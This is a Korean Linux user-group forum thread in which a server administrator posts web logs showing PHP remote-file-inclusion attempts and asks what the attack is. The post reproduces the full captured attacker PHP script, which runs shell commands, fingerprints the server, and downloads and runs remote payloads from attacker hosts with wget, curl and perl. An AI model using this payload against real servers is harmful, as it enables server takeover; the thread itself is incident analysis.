한국리눅스유저그룹 - LUG KOREA 토크박스/가입인사 | SW/HW 사용기 | LUG 위키 | wiki 영어공부 | 사이트맵 | 즐겨찾기 | Home
[메일링리스트] - Slashdot | Kernel News | GNOME | KDE | linux.kernel | C++ | wxWidgets | Java | Python | Android
구인/서버,개발자 | 장터 | 리눅스 QA | JSP & JAVA 입문 | 쉘 스크립트 입문 [오타]| gcc/C++ 입문 | CentOS 리눅스구축관리실무 [오타], [찾아보기]
공지 사항 : 유익한 문서/글 자료실 : 보안 : 임베디드 : 안드로이드 : 회원 랭킹 : 한국LUG 소개
2024년 4월 28일 일요일
현재접속자 : 59 (0)
보안 LOGIN :  자동 [ID/PASS 찾기]
총 회원: 20,028명
Today Join: 0명
지역 모임 게시판 : [대구지역] , [서울지역]

[보안로그인 인증서설치]
[회원 이메일 재인증하기]

MY IP : 18.118.227.69





[사이트내 검색]
  ◆ Translation
[ Foreigner Join ]

[ Korean to English ]

[ Korean to Japanese ]

  ◆ 유용한 문서 읽기
  • 리눅스 관련문서
  • 리눅스 맨페이지 검색
  • 리눅스 커널 소스
  • C/C++ Reference
  • C Programing
  • C Socket Programing
  • UNIX IPC
  • Automake/Autotools
  • Python Document
  • wxWidgets Document
  • PHP Document
  • JDK5 API Document
  • JDK6 API Document
  • J2EE API Document
  • JSTL 1.1 Reference
  • MySQL Reference
  • Iptables Tutorial
  • Bash Scripting Guide
  • Android Reference
  • Web Programming
  • JQuery Tutorials
  • node.js guide
  • node.js docs
  •   ◆ LUG 세미나 자료
      ◆ 개발자 게시판 링크
      ◆ 전체 최근게시물
    [ 100일 베스트 100 게시물 ]
    [ 전체 베스트 100 게시물 ]
    * [코][CentOS 리눅스 …
    * [코][CentOS 리눅스 …
    * 가입인사요
    * bacula 백업 서비…
    * 안녕하세요
    * [코]가입인사 드립…
    * [코]debian 원격 CPU …
    * [코]debian 원격 CPU …
    * [코]debian 원격 CPU …
    * [코]debian 원격 CPU …
    * [코]debian 원격 CPU …
    * [코]debian 원격 CPU …
    * debian 원격 CPU …
    * 가입인사 드립…
    * [초대] 아시아 …
      ◆ LUG 회원 동지분들

  • 총회원 : 20,028명

  • 최근 7일간 가입자 : 0명

  • 박원진[경기][10-08]
    권수혁[서울][10-06]
    임호진[서울][10-02]
    손주민[KR][10-01]
    Elliot[KR][09-30]
    김태욱[충남][09-28]
    최선길[서울][09-26]
    조규선[서울][09-26]
    임형규[경북][09-25]
    윤태준[서울][09-24]
      ◆ Recommend Book
    리눅스 입문, 서버운영, 개발입문을 하실분들은 아래 도서를 탐독하시기 바랍니다.

    [ 저자 : 김태용 ]
    1. CentOS 리눅스구축관리실무[출간]
  • [관련자료 링크]
  • [찾아보기(색인)]

    2. 김태용의 gcc와 C++ 기초 입문::gcc로 공부하는 C++ programming과 wxWidgets GUI 개발[출간]
    3. 김태용의 쉘 스크립트 프로그래밍 입문[출간]
    4. 김태용의 JSP 웹 프로그래밍 입문[출간. 2011.01]

  •   ◆ Sponsor
    DNS Powered by DNSEver.com
      ◆ OS, Office 다운로드
    [Download - x86, 32bit]
    CentOS 5.0 커널 업데이트
    * Android Platform
    Linux + Dalvik vm
    * CentOS 5.6
    DVD 넷인스톨시디
    * Fedora 8
    DVD, 라이브시디
    * Fedora 12
    DVD, 라이브시디
    * Fedora 이전버전
    * Ubuntu 9.10 CD
    CD, Kubuntu 9.10
    * VirtualBox
    All Platform
    * 오픈오피스 3.X
    다운로드 사이트
    * Code::Blocks(GCC)
    Code::Blocks 다운로드
    * CodeLite(GCC)
    CodeLite 다운로드
    * 이클립스
    이클립스 다운로드
    * Windows Text Editor
    PsPad
    notepad++
    Komodo Editor, AcroEditor
    * 윈도우용 한글 Putty
    한글 Putty 0.60.h

    [ 한국LUG 소개 ]
    [ Administrator Contact ]
    리눅스용 네이트온 다운로드
      ◆ LUG 접속자 수(IP 수)

    최근 방문자 IP수

    389
    806
    1120
    1409
    1062
    589
    23 24 25 26 27 28
    최대 : 15,320
    전체 : 4,233,613




    Will be Prosumer's Revolution and Technical Revolution in the Future!
    Linux User/Developer is also Windows User/Developer... Cross Platform Engineer...

    "21C 공학인을 대통령, 국회의원으로 만들자!"
    "더욱 더 많은 동지분들이 공학제국 건설에 동참할 수 있도록 널리 알려주세요~" [ F = m * a ]
    과학기술/공학인이 대한민국 국회 의석의 50% 이상을 확보하는 그날을 위하여~ ^___^

  • 한국리눅스유저그룹은 공학인들의 커뮤니티입니다.(http://www.lug.or.kr)
  • 로그인하면 100포인트씩 추가됩니다(1일 1회).
  • 질문을 하기전에 먼저 문서를 검색해서 읽어봅시다! (RTFM : Read The Fine Manual)
  • LUG 동지 여러분께서는 자신이 알고 있는 작은 지식이라도 주저하지 말고 지금 당장 포스팅하시기 바랍니다.
  • 한국리눅스유저그룹 Home ▶ 리눅스 데탑/서버/프로그래밍 지식인QA
    [ 질문시 유의사항 ]
  • 무조건 검색부터 하자.
  • 질문하기전에 반드시 해당 프로그램의 사이트에 가서 readme, help, install 관련 문서를 무조건 읽어보자.
  • 컴퓨터와 놀기 위해서 영어공부는 필수다. (영문자와 숫자 오타에 대해 항상 조심하고, 재확인 필수!)
  • C/C++언어, Python언어, Shell Script 는 필수이므로 책을 구해서 열공하자.
  • 답변하시는분들을 위하여 자세하게 기술하고, 답변하시는분에게 감사의 코멘트를 남기자.
  • 배포판 이름, 서버 사양등의 내용도 적자.
  • 자세한 내용이 없으면 아무런 답변 코멘트도 없다.
  • 답변이 없으면 혼자라도 공부해서 유익한 글을 포스팅하자. 영문번역이라도 하자.
  • 소인 [小人], 잡배는 되지 말자. 관리자가 코멘트할 경우에는 공부 방법만 제시할 것이다.

  •   [LINUX] 얼마전 서버가 공격을 당한거 같습니다.  
      글쓴이 : 신화준 [PO : 98]  날짜 : 09-12-17 13:21  조회 : 27126 
      포인트 : 200점 
      태그 : PHP스크립트공격,공격

    웹서버 로그를 분석한 결과


    210.182.70.166 - - [14/Dec/2009:09:40:17 +0900] "GET /images/new/main/2009_main/quick.gif HTTP/1.1" 200 21661
    210.182.70.166 - - [14/Dec/2009:09:40:17 +0900] "GET /images/new/main/2009_main/bg_succ.gif HTTP/1.1" 200 6719
    210.182.70.166 - - [14/Dec/2009:09:40:17 +0900] "GET /images/new/main/2009_main/internetExplorer7_down.gif HTTP/1.1" 200 9630
    210.182.70.166 - - [14/Dec/2009:09:40:17 +0900] "GET /images/new/main/2009_main/daily_top.gif HTTP/1.1" 200 4490
    210.182.70.166 - - [14/Dec/2009:09:40:17 +0900] "GET /images/new/main/2009_main/bg_photo.gif HTTP/1.1" 200 786
    210.182.70.166 - - [14/Dec/2009:09:40:16 +0900] "GET /new/images/swf/menu.swf HTTP/1.1" 200 324295
    210.182.70.166 - - [14/Dec/2009:09:40:18 +0900] "GET /images/new/main/2009_main/tab_03_ov.gif HTTP/1.1" 200 2424
    210.182.70.166 - - [14/Dec/2009:09:40:17 +0900] "GET /new/images/swf/hunjangtown2.flv HTTP/1.1" 200 17587484
    ::1 - - [14/Dec/2009:09:40:25 +0900] "GET / HTTP/1.0" 200 107
    210.182.70.166 - - [14/Dec/2009:09:42:54 +0900] "POST /new/member/prc_auth.php HTTP/1.1" 200 83
    210.182.70.166 - - [14/Dec/2009:09:42:54 +0900] "GET /new/ HTTP/1.1" 200 24638
    210.182.70.166 - - [14/Dec/2009:09:42:54 +0900] "GET /images/new/main/2009_main/btn_logout.gif HTTP/1.1" 200 210
    210.182.70.166 - - [14/Dec/2009:09:42:54 +0900] "GET /images/new/btn/membergovernment.gif HTTP/1.1" 200 400
    210.182.70.166 - - [14/Dec/2009:09:42:54 +0900] "GET /images/new/btn/campusgovernment.gif HTTP/1.1" 200 393
    210.182.70.166 - - [14/Dec/2009:09:42:55 +0900] "GET /images/new/main/2009_main/tab_02_ov.gif HTTP/1.1" 200 1722
    210.182.70.166 - - [14/Dec/2009:09:43:12 +0900] "GET /images/new/main/2009_main/tab_01_ov.gif HTTP/1.1" 200 1420
    210.182.70.166 - - [14/Dec/2009:09:43:12 +0900] "GET /images/new/main/2009_main/tab_03_ov.gif HTTP/1.1" 200 2424
    122.201.81.160 - - [14/Dec/2009:09:45:44 +0900] "GET /home.php?inc=http://peirano.com.ar/hbb.txt?&mode=id HTTP/1.1" 404 608
    66.249.65.129 - - [14/Dec/2009:09:47:07 +0900] "GET /new/english/lst_pubinfo_.php?menuno=4&page=2&keyfield=&key= HTTP/1.1" 200 20293
    122.201.81.160 - - [14/Dec/2009:10:00:10 +0900] "GET /home.php?ln=http://peirano.com.ar/hbb.txt?&mode=id HTTP/1.1" 403 210
    121.146.37.56 - - [14/Dec/2009:10:05:08 +0900] "GET /new/ HTTP/1.1" 403 206
    121.146.37.56 - - [14/Dec/2009:10:05:10 +0900] "GET /new/ HTTP/1.1" 403 206
    121.146.37.56 - - [14/Dec/2009:10:05:16 +0900] "GET / HTTP/1.1" 403 202
    121.146.37.56 - - [14/Dec/2009:10:05:18 +0900] "GET / HTTP/1.1" 403 202
    121.146.37.56 - - [14/Dec/2009:10:06:01 +0900] "GET / HTTP/1.1" 403 202
    121.146.37.56 - - [14/Dec/2009:10:06:04 +0900] "GET / HTTP/1.1" 403 202
    121.146.37.56 - - [14/Dec/2009:10:06:05 +0900] "GET / HTTP/1.1" 403 202
    121.146.37.56 - - [14/Dec/2009:10:06:07 +0900] "GET / HTTP/1.1" 403 202
    121.146.37.56 - - [14/Dec/2009:10:06:09 +0900] "GET / HTTP/1.1" 403 202
    121.146.37.56 - - [14/Dec/2009:10:06:11 +0900] "GET / HTTP/1.1" 403 202
    121.146.37.56 - - [14/Dec/2009:10:15:14 +0900] "GET /new/ HTTP/1.1" 403 206
    121.146.37.56 - - [14/Dec/2009:10:15:24 +0900] "GET /new/ HTTP/1.1" 403 206
    121.146.37.56 - - [14/Dec/2009:10:15:30 +0900] "GET /new/ HTTP/1.1" 403 206
    121.146.37.56 - - [14/Dec/2009:10:15:36 +0900] "GET /new/ HTTP/1.1" 403 206
    121.146.37.56 - - [14/Dec/2009:10:15:41 +0900] "GET /new/ HTTP/1.1" 403 206

    특정요청 이후에 웹서비스 요청시 403 에러가 나옴

    아래는

    # http://peirano.com.ar/hbb.txt?&mode=id 캡쳐한 내용
    '); @ini_restore('safe_mode');@ini_set('default_socket_timeout', 2);@error_reporting(0);@set_time_limit(0);@ignore_user_abort(); $modez = $_GET["mode"]; $url = "http://peirano.com.ar/"; switch ($modez) { case "pb": include($url.'pbot.txt'); break; case "log": @file($url.'safe.php?rfi='.base64_encode($_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'])); break; case "shb": echo fx29exec('cd /tmp;wget '.$url.'tmp.txt'); echo fx29exec('cd /tmp;curl -o tmp.txt '.$url.'tmp.txt'); echo fx29exec('cd /tmp;/usr/bin/perl tmp.txt'); echo fx29exec('cd /tmp;rm -rf tmp.txt*'); break; case "wp": echo fx29exec('wget -o node.php http://nlsecurity.org/iQ/iQ.txt'); echo fx29exec('curl -o node.php http://nlsecurity.org/iQ/iQ.txt'); echo fx29exec('fetch -o node.php http://nlsecurity.org/iQ/iQ.txt'); echo fx29exec('lynx -source http://nlsecurity.org/iQ/iQ.txt > node.php '); echo fx29exec('GET http://nlsecurity.org/iQ/iQ.txt > node.php'); break; case "id": $P = @getcwd(); $IP = @getenv("SERVER_ADDR"); $UID = fx29exec("id"); fx("SAFE",@safemode()?"ON":"OFF"); fx("OS",@PHP_OS); fx("UNAME",@php_uname()); fx("SERVER",($IP)?$IP:"-"); fx("USER",@get_current_user()); fx("UID",($UID)?$UID:"uid=".@getmyuid()." gid=".@getmygid()); fx("DIR",$P); fx("PERM",(@is_writable($P))?"[W]":"[R]"); fx("HDD","Used: ".hdd("used")." Free: ".hdd("free")." Total: ".hdd("total")); fx("DISFUNC",@getdisfunc()); break; } function fx($t,$c) { echo "$t: "; echo (is_array($c))?join(" ",$c):$c; echo "
    "; } function safemode() { return (@ini_get("safe_mode") OR eregi("on",@ini_get("safe_mode")) ) ? TRUE : FALSE; } function getdisfunc() { $rez = explode(",",@ini_get("disable_functions")); return (!empty($rez))?$rez:array(); } function enabled($func) { return (function_exists($func) && is_callable($func) && !in_array($func,getdisfunc())) ? TRUE : FALSE; } function fx29exec($cmd) { if (enabled("exec")) { exec($cmd,$o); $rez = join("\r\n",$o); } elseif (enabled("shell_exec")) { $rez = shell_exec($cmd); } elseif (enabled("system")) { @ob_start(); @system($cmd); $rez = @ob_get_contents(); @ob_end_clean(); } elseif (enabled("passthru")) { @ob_start(); passthru($cmd); $rez = @ob_get_contents(); @ob_end_clean(); } elseif (enabled("popen") && is_resource($h = popen($cmd.' 2>&1', 'r')) ) { while ( !feof($h) ) { $rez .= fread($h, 2096); } pclose($h); } else { $rez = "Error!"; } return $rez; } function vsize($size) { if (!is_numeric($size)) { return FALSE; } else { if ( $size >= 1073741824 ) { $size = round($size/1073741824*100)/100 ." GB"; } elseif ( $size >= 1048576 ) { $size = round($size/1048576*100)/100 ." MB"; } elseif ( $size >= 1024 ) { $size = round($size/1024*100)/100 ." KB"; } else { $size = $size . " B"; } return $size; } } function hdd($type) { $P = @getcwd(); $T = @disk_total_space($P); $F = @disk_free_space($P); $U = $T - $U; $hddspace = array("total" => vsize($T), "free" => vsize($F), "used" => vsize($U)); return $hddspace[$type]; } @die(base64_decode('Qi5PLlYgU2llbmNlIDIwMDk=')); ?>

    PHP로 만들어진 스크립트인데요.

    이게 어떤 공격일까요,

    증상으로는 웹서비스 Document_root 가 권한이 바뀌었고, FTP 서비스가 불가능해졌습니다.



  • 눈팅만으로는 답변글을 볼 수 없습니다. 로그인하셔야 합니다.
    [한국리눅스유저그룹]의 글을 퍼가실때에는 반드시 [출처]를 표시해 주시는 센스가 필요합니다!
    지금 이시간, 공부하고 있는 당신은 머지않아 최고가 될 것입니다. 즐겁게 공부하시고, 힘내십시오!
    포스팅 글이 유용하셨다면 RSS를 구독하시면 됩니다.
    유용하고, 좋은글 포스팅 바랍니다. 포스팅된 글은 (전세계)? 대부분의 소셜 사이트에 포스팅됩니다.

  • Remember GIVE First and then TAKE After!



    자기 것만 챙기는 당신은 얌체족?... 답변주시는분께 "고맙다는 감사의 코멘트"를 남겨주세요. [+10점]
    김석수 [PO : 242]   10-04-08 08:57
    많이 배우고 갑니다.. …

  • 눈팅만으로는 답변글을 볼 수 없습니다. 로그인하셔야 합니다.
  • [게시판 맨위로]
    자기 것만 챙기는 당신은 얌체족?... 답변주시는분께 "고맙다는 감사의 코멘트"를 남겨주세요. [+10점]
    김병연 [PO : 208]   10-03-10 03:44
    우와.. 저는 까막눈이…

  • 눈팅만으로는 답변글을 볼 수 없습니다. 로그인하셔야 합니다.
  • [게시판 맨위로]
    자기 것만 챙기는 당신은 얌체족?... 답변주시는분께 "고맙다는 감사의 코멘트"를 남겨주세요. [+10점]
    황홍일 [PO : 3,634]   10-01-26 15:16
    php에 저런 취약점이 있…

  • 눈팅만으로는 답변글을 볼 수 없습니다. 로그인하셔야 합니다.
  • [게시판 맨위로]
    자기 것만 챙기는 당신은 얌체족?... 답변주시는분께 "고맙다는 감사의 코멘트"를 남겨주세요. [+10점]
    심형섭 [PO : 1,030]   09-12-18 16:16
    mod_security를 설치하셔…

  • 눈팅만으로는 답변글을 볼 수 없습니다. 로그인하셔야 합니다.
  • [게시판 맨위로]
    자기 것만 챙기는 당신은 얌체족?... 답변주시는분께 "고맙다는 감사의 코멘트"를 남겨주세요. [+10점]
         
    신화준 [PO : 98]   09-12-23 11:17
    감사합니다. 한국정보…

  • 눈팅만으로는 답변글을 볼 수 없습니다. 로그인하셔야 합니다.
  • [게시판 맨위로]
    자기 것만 챙기는 당신은 얌체족?... 답변주시는분께 "고맙다는 감사의 코멘트"를 남겨주세요. [+10점]
    양선곤 [PO : 16,197]     09-12-17 16:27
    님은 아마 PHP의 remote in…

  • 눈팅만으로는 답변글을 볼 수 없습니다. 로그인하셔야 합니다.
  • [게시판 맨위로]
    자기 것만 챙기는 당신은 얌체족?... 답변주시는분께 "고맙다는 감사의 코멘트"를 남겨주세요. [+10점]
         
    신화준 [PO : 98]   09-12-17 17:32
    감사합니다.

    i…

  • 눈팅만으로는 답변글을 볼 수 없습니다. 로그인하셔야 합니다.
  • [게시판 맨위로]

    [포인트 정책] :: 글읽기 : -10점(글쓴이는 포인트 받음), 글쓰기 : +0점, 코멘트 : +10점, 다운로드 : -200점
    질문시 200점이상의 포인트 투자가 필요, 답변이 채택되면 70%의 포인트 받음

    총조회수 : 10,631,789회 | 전체글 : 3,585건 | 질문글 : 845건 | 코멘트 답변글 : 2,740건
    번호 분류 제목 상태 글쓴이 PO 날짜 조회
    650 LINUX 제발 도와주세요 흑흑 (3) 조민우
    PO : 234
    200 02-26 10727
    649 LINUX 인터넷때매 요즘 죽겠슴다 ㅠㅠ (6) 조민우
    PO : 234
    200 02-20 8812
    648 LINUX 다른네트워크에 물린 프린터이용과 클러스… (4) 박창현
    PO : 468
    208 02-17 7991
    647 LINUX cronolog 설치후 webalizer 설정시 심볼릭문제 (4) 황정일
    PO : 1,713
    200 02-12 7640
    646 LINUX DNS 네임서버 구축 실습에 필요한 준비물은 … (5) 장준호
    PO : 116
    200 02-11 7517
    645 LINUX fedora x-windows 상에서 화면보호기 정지 방… (2) 최낙민
    PO : 1,430
    200 02-04 10465
    644 LINUX vmware guest 에러 (3) 윤혁진
    PO : 208
    200 01-28 7669
    643 LINUX 책에서 vi를 설명한곳을 찾아주세요...그리… (5) 김동호
    PO : 302
    600 01-17 6174
    642 LINUX 스크립트에서 표준입력을 넣는 방법 (5) 조성일
    PO : 990
    200 01-14 6142
    641 LINUX [bash] 에서 max값을 구하는 가장 짧은 명령어… (1) 안병욱
    PO : 9,716
    500 01-12 6478
    640 LINUX CentOS에 있는 GCC 멀티코어 지원 안하나요 ? (2) 유홍선
    PO : 1,602
    200 01-10 9948
    639 LINUX 디렉토리 permission에 따라 web access제한하는 … (3) 남운고
    PO : 196
    200 12-31 16341
    638 LINUX qmail big-concurrency.patch 페치 문의 (2) 황이
    PO : 3,239
    200 12-21 6504
    637 LINUX 얼마전 서버가 공격을 당한거 같습니다. (7) 신화준
    PO : 98
    200 12-17 27127
    636 LINUX CentOS 패키지를 추가로 설치하려고 하는데요… (4) 최재영
    PO : 1,634
    200 12-16 9959
       11  12  13  14  15  16  17  18  19  20    
    [게시판 맨위로]
    한국LUG는 대한민국의 리눅스 지식인[사용자/개발자]들의 커뮤니티입니다. [매년 1~2회의 공개세미나 개최]
    한국LUG : 울산 - 광주 - 전북 - 인천 - 대전 - LUG 위키

    [Linux Distribution] : CentOS | Ubuntu | Fedora | WhiteBox | Debian | Slackware | Gentoo | openSuSE

    "Linux" is a registered trademark of Linus Torvalds. "Linux is Kernel"
    - 리눅스는 공짜가 아니라 자유[Free & Effort]입니다 -
    [인터넷 서점/출판사 링크] : 강컴 | 알라딘 | 인터파크 | 예스24 | 교보문고 | 수퍼유저코리아 | 제이펍
    한국LUG 사이트는 1024 x 768 해상도(운영자 노트북:14")에 최적화 되어 있습니다. : LINUX FANSITE
    WWW.LUG.OR.KR Server is made by CentOS Linux, P4 1.8G, Memory 512MB, Main HDD 160GB, Backup HDD 40GB and LAMP, qmail MTA.
    CentOS Linux & Mozilla Firefox UTF-8 Base Created.
    visitor stats
    1998-2024 www.lug.or.kr   Directed By Great Dragon, Kim.   Top
    LUG 포인트 정책 : [회원가입 : +100점] [로그인(하루한번) : +100점] [글쓰기 : +20점] [코멘트 : +10점] [다운로드 : -200점] [질문 포인트 : 최소 200점]
    데스크탑 프로그래밍(gcc, g++, wxGTK[wxWidgets] 등)은 "Fedora"를 사용하고, 서버 운영(WEB, FTP 등)은 "CentOS"를 사용하시길 권장합니다.
    도전하는자, 자신을 투자하는자만이 뜻하는바를 이룰 수 있다.
    Information should be Exchanged with Interactive, not One Way Direction.
    준회원, 정회원, 우수회원, VIP회원, 기업회원, 관리자
    Be Maker!
    인생에서, 100% 순이익을 보장하는건 없다. 1%의 지식을 나눔으로써, 가끔씩 손해볼 필요도 있다.
    그대가 가진 1%의 지식만이라도 공공을 위해 포스팅하라. 손해본다는 생각이 앞선다면 그대의 인생은 힘들어질것이다.
    자신이 가진 지식의 1%도 투자하지 않고, 오로지 자신의 이익만 탐하는자와는 동지가 되지마라.
    만나서 대화하면 모두 좋은 사람들이지만, 유독 인터넷에서만 자신을 밝히지 않고, 좀비로 서식하는 사람들이 많다.
    부지불식간[不知不識間], 좀비(하류) 인생이 될지도 모르니, 항상 자신을 경계하도록 하라.
    홈으로~
    [도서 안내]
    1. CentOS Linux
    2. gcc로 공부하는 C++
    베스트셀러 입성^^

    3. 쉘 스크립트 입문
    4. JSP 입문

    아래 배너들은 LUG 세미나 모임에 도움을 주신(실) 멋진 기업들입니다. ^^